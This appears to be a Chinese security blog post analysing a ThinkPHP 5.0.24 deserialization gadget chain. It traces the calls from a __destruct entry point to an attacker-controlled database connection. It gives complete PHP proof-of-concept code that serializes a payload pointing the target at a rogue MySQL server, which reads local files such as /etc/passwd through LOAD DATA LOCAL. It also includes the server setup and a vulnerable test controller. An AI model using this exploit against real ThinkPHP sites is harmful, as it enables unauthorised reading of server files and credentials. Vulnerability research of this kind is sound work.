在学习 TP5.0.24 反序列化漏洞 时,发现了一个可控数据库连接从而实现任意文件读取的链子,原理类似这篇文章:ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

本文将会根据自己挖掘的思路来写,尽量把调用流程展示清楚,把坑点说明下。并补充些审计时的思考。

跳板

开始的入口跳板和写shell的反序列化入口是一样的,若已经知道这个链子了可以跳过

全局搜索 function __desctruct() 函数,找到 thinkphp/library/think/process/pipes/Windows.php 文件:

public function __destruct() { $this->close(); $this->removeFiles();
} 

跟进 $this->removeFiles():

private function removeFiles() { //循环 $this->files,该值可控 foreach ($this->files as $filename) { //调用 file_exists 函数检测 $filename //file_exists 需要传入一个 String 类型 //若此时我们控制 $filename 为一个类,类被当作字符串使用,将会自动调用 __toString() 魔术方法 if (file_exists($filename)) {
            @unlink($filename);
        }
    } $this->files = [];
} 

这里有一个小 trick:挖反序列化的时候,我们可以控制 传参类型为String的函数 传入一个类,使程序自动调用 __toString(),达到跳板的目的。

全局搜索 function __toString(),找到 thinkphp/library/think/Model.php文件:

public function __toString() { return $this->toJson();
} 

一直跟进,最后调用了 Model.php 的 toArray() 方法

以上都是和网上流传的写shell的链子是一致的,往下的链子就不一样了

 

漏洞点

挖掘一个新链子时,我一般使用的方法是:

  1. 先整体粗看,梳理调用链,找到最终可以实现我们需求的函数。在这个阶段不需要太纠结数据如何传递的,我们只需要找到最终函数即可。
  2. 回溯函数,细看调用链中的每个函数,思考如何控制程序流程执行到最终函数

ps:
最终函数其实就是能够执行到我们想要的操作,或者对程序有危害操作的函数,可能是一个注入点,也可能是一个上传点。

整体梳理

这里整理了个简单的流程图,代码进行了简化。在梳理阶段我们只需要关注函数能调用哪里即可,不需要对每个函数的流程控制进行详细分析。确定可能存在的函数调用链即可。

整个流程的核心为:

  1. 数据库连接可控
  2. 程序执行过程中会执行SQL语句

解决图中的 问题1
我们能传入的 type 仅限于下图这几个tp5 自带的数据库驱动类

解决图中的 问题2
在 think/Model.php buildQuery() 中,有个任意类实例化的代码:

$con = Db::connect($connection);
$queryClass = $this->query ?: $con->getConfig('query'); //实例化任意类 $query      = new $queryClass($con, $this); 

在上图中我们选择了实例化 think\db\Query.php

选择实例化这个类,是因为 think/Model.php buildQuery() 最终会 return 到 think/Model.php getPk()函数,该函数代码如下:

//$this->getQuery() 就是 buildQuery() 的返回值 //为了能够链式操作调用getPk(),需要找到一个具有getPk()方法的类 //便选择了think\db\Query类 $this->pk = $this->getQuery()->getPk(); 

为了程序能够顺利执行,我们选择实例化的类必须存在 getPk() 方法。不然将会触发 __call() ,使程序流程走到意外的分支。全局搜索了 getPk() 方法后找到 think\db\Query.php 较为合适。

回溯细看

toArray() 方法中,我们仅需要控制一个 $this->append即可

think/Model.php public function toArray() {
    ...... //反序列中$this->append可控 if (!empty($this->append)) { foreach ($this->append as $key => $name) { //$this->append值不能为数组 if (is_array($name)) {
                  ......
            } //$this->append值不能有. elseif (strpos($name, '.')) {
                .....
            } else { //去除 $this->append键中特殊字符 $relation = Loader::parseName($name, 1, false); //$this->append的键必须是本类存在的方法名 if (method_exists($this, $relation)) { //任意本类方法调用 $modelRelation = $this->$relation();
                    ....
                } 
            }
        }
    }
} 

save()方法中,经过一大段并不会影响程序流程的代码后,最终调用了 $this->getPk()

think/Model.php public function save($data = [], $where = [], $sequence = null) { if (is_string($data)) {
        .....
    } if (!empty($data)) {
        .....
    } if (!empty($where)) {
      .....
    } if (!empty($this->relationWrite)) {
       ......
    } if (false === $this->trigger('before_write', $this)) {
        .....
    } //经过一堆无关紧要的操作,可调用$this->getPk() $pk = $this->getPk();
} 

前文调用 getPk() 是无参调用

think/Model.php public function getPk($name = '') { if (!empty($name)) {
        .....
    } //由于调用时是无参调用 //必会进入elseif elseif (empty($this->pk)) { $this->pk = $this->getQuery()->getPk();
    }
} 

此时进行了链式操作,我们先看 getQuery() 方法。我们可以留意下该方法的返回值。

think/Model.php public function getQuery($buildNewQuery = false) { if ($buildNewQuery) { return $this->buildQuery();
    } //无参调用,$this->class可控 //我们可控制为一个不存在的值让程序流程必定进入elseif elseif (!isset(self::$links[$this->class])) { self::$links[$this->class] = $this->buildQuery();
    } //返回$this->buildQuery()返回的东西 return self::$links[$this->class];
} 

下面的说明可能有点绕,可以根据下文给出的测试POC自行跟进下将比较好理解。

TP数据库配置 – getQuery()

在 buildQuery() 中,进行数据库的初始化连接操作。但仅仅只是进行了配置,并没有真正的进行数据库连接。

这一段由于没有太多需要控制流程的地方,我们主要工作是明确如何设置各个变量的值。

这一段代码解析配合上文的流程图食用效果更佳

think/Model.php protected function buildQuery() {
    ..... //控制$this->connection //通过查看Db::connect()方法 //可以得知$this->connection内容就是数据库配置 $connection = $this->connection;
    $con = Db::connect($connection); //$this->query可控,控制程序实例化Query类 $queryClass = $this->query ?: $con->getConfig('query');
    $query      = new $queryClass($con, $this); return $query;
}
===========
think/Db.php public static function connect($config = [], $name = false) { //解析配置 $options = self::parseConfig($config); //加载数据库驱动 $class = false !== strpos($options['type'], '\\') ?
        $options['type'] : '\\think\\db\\connector\\' . ucwords($options['type']); //实例化数据库驱动 //查看Mysql数据库驱动类构造方法可以得知 //Mysql->config成员变量被赋值为$options self::$instance[$name] = new $class($options); return self::$instance[$name];
}
===========
think/db/Connection.php 所有数据库驱动都继承此类 public function __construct(array $config = []) { if (!empty($config)) { $this->config = array_merge($this->config, $config);
    }
}
===========
think/db/Query.php public function __construct(Connection $connection = null, $model = null) { //为 Query->connection 成员变量赋值 //值为buildQuery()中调用的 Db::connect(),可控 $this->connection = $connection ?: Db::connect([], true); //下面的操作主要是实例化了数据库驱动的Builder类 //对我们的攻击无关紧要。感兴趣也可以跟进下 $this->prefix     = $this->connection->getConfig('prefix'); $this->model      = $model; $this->setBuilder();
} 

经过上面这段 TP数据库配置操作 后,在 buildQuery() 中将会返回 Query类 的实例。

TP数据库执行 – getPk()

在该方法中对数据库进行PDO连接。具体的连接函数在下文分析。这里我们先了解调用流程

think/db/Connection.php public function getPk($options = '') {
    $pk = $this->getTableInfo(is_array($options) ? $options['table'] : $options, 'pk');
}
========
think/db/Connection.php public function getTableInfo($tableName = '', $fetch = '') {
    $db = $this->getConfig('database'); if (!isset(self::$info[$db . '.' . $guid])) { //前面的不太重要,一般都能调用到这里 $info = $this->connection->getFields($guid);
    }
}
========
think/db/connector/Mysql.php public function getFields($tableName) { //sql语句 $sql = 'SHOW COLUMNS FROM ' . $tableName; //调用query() $pdo = $this->query($sql, [], false, true);
}
========
think/db/Connection.php public function query($sql, $bind = [], $master = false, $pdo = false) { //数据库连接配置 //这里会在下文详细说 $this->initConnect($master); $this->PDOStatement = $this->linkID->prepare($sql); $this->PDOStatement->execute();
} 

测试POC

这里给出个POC,如果没看懂的话跟着POC开Debug走一走流程就明白调用过程了 = =

备注:该POC运行到 think/db/Connection.php connect() 将会由于没有传入正确数据库配置而报错停止运行。这里我们明白调用流程即可

<?php namespace think{ abstract class Model{
        //toArray()中
        //为了使得能够进入if判断并foreach //需要控制该成员变量
        //值为被调用的任意本类方法,即save() protected $append = [
            'save'
        ]; protected $table = 'xxx'; //buildQuery()中 //为了能够实例化Query类 //需要控制该成员变量 protected $query = '\think\db\Query';
    }
} namespace think\model{
    //继承抽象类 Model class Pivot extends \think\Model{
    }
} namespace think\process\pipes{ class Windows{ private $files = []; public function __construct(){ //!!!! //由于Model类是抽象类,我们只能实例化其子类 //!!!! $this->files[] = new \think\model\Pivot();
        }        
    }
} namespace{
    //入口点 __destruct()
    $a = new \think\process\pipes\Windows(); echo base64_encode(serialize($a));
} ?> 

控制数据库配置

由于上文的POC在 think/db/Connection.php connect()就抛出错误了。查看该方法,发现其进行了PDO连接数据库的操作,传入的配置为其成员变量。

这里值得注意的是,由于数据库驱动类是另外 new 出来的,所以反序列化无法直接控制其成员变量。我们只能通过给构造函数传参,在构造函数中控制部分成员变量。具体可看前文的流程图会清晰一些。

//数据库配置格式 //我们要构造的payload就按照这个数组来写 protected $config = [ 'type' => '', 'hostname' => '', 'database' => '', 'username' => '', 'password' => '', 'hostport' => '',
    ......
]; //PDO配置 protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false, //该PDO配置将使得 LOAD DATA LOCAL 不成功 //需要在connect()中将之覆写为true  PDO::ATTR_EMULATE_PREPARES  => false,
]; public function connect(array $config = [], $linkNum = 0, $autoConnection = false) {
        $config = array_merge($this->config, $config); //控制$config['params']不为空且为数组,使程序进入if判读 //覆写该类默认的$this->params[PDO::ATTR_EMULATE_PREPARES] 为true //这样我们 LOAD DATA LOCAL 才能成功 if (isset($config['params']) && is_array($config['params'])) {
            $params = $config['params'] + $this->params;
        } else {
            $params = $this->params;
        } if (empty($config['dsn'])) {
            $config['dsn'] = $this->parseDsn($config);
        } $this->links[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $params);
    } return $this->links[$linkNum];
} 

扩展:使用 + 拼接数组,后面的数组不会覆盖前面的数组值。但是使用 array_merge 将会覆盖前面的值:

<?php $a = [ 'x' => 1 ];
$b = [ 'x' => 2, 'v' => 3 ]; //使用 + 拼接数组 //$c['x'] 还是1 $c = $a+$b; //使用 array_merge 拼接数组 //$d['x'] 被覆盖为2 $d = array_merge($a,$b); ?> 

根据上文的代码分析。我们可构建连接恶意Mysql数据库的配置。这里需要注意几点:

  1. `PDO::MYSQL_ATTR_LOCAL_INFILE 要设置为 true。不然PDO无法进行 LOAD DATA LOCAL 操作
  2. PDO::ATTR_EMULATE_PREPARES 也要设置为 true。不然LOAD DATA LOCAL会报错
  3. PDO连接恶意Mysql数据库不需要正确的用户名密码和库名。只要地址正确即可

初始化PDO连接后,connect() 将把PDO连接返回到 query()函数中,由这个函数执行 PDOStatement execute()

 

最终POC

搭建的恶意Mysql服务器选择 Rogue-MySql-Server。可以通过编辑其 rogue_mysql_server.py 修改服务监听端口和被读取的文件:

PORT = 3306 .....
filelist = ( '/etc/passwd',
) 

修改POC,增加数据库配置:

<?php namespace think{ abstract class Model{ protected $append = [
            'save'
        ]; protected $table = 'xxx'; protected $query = '\think\db\Query'; //buildQuery()中 //为Db::connect()传入的数据库连接配置 protected $connection = [ // 数据库类型 'type' => 'mysql', // 服务器地址 'hostname' => '127.0.0.1', // 数据库名 'database' => 'xxx', // 用户名 'username' => 'xxx', // 密码 'password' => 'xxx', 'params' => [ //让PDO能够执行LOAD DATA LOCAL \PDO::MYSQL_ATTR_LOCAL_INFILE => true, //重写配置,让PDO LOAD DATA LOCAL不报错 \PDO::ATTR_EMULATE_PREPARES  => true,
            ]
        ];
    }
} namespace think\model{ class Pivot extends \think\Model{
    }
} namespace think\process\pipes{ class Windows{ private $files = []; public function __construct(){ $this->files[] = new \think\model\Pivot();
        }        
    }
} namespace{
    $a = new \think\process\pipes\Windows(); echo base64_encode(serialize($a));
} ?> 

在TP的控制器处新建一个 index.php。写入如下测试代码:

<?php namespace app\index\controller; class Index { public function index() {
       $a = base64_decode('生成的POC');
       unserialize($a);
    }
} 

开启Rogue Mysql:

python rogue_mysql_server.py 

访问测试文件,发现报了个错

查看日志,成功读取文件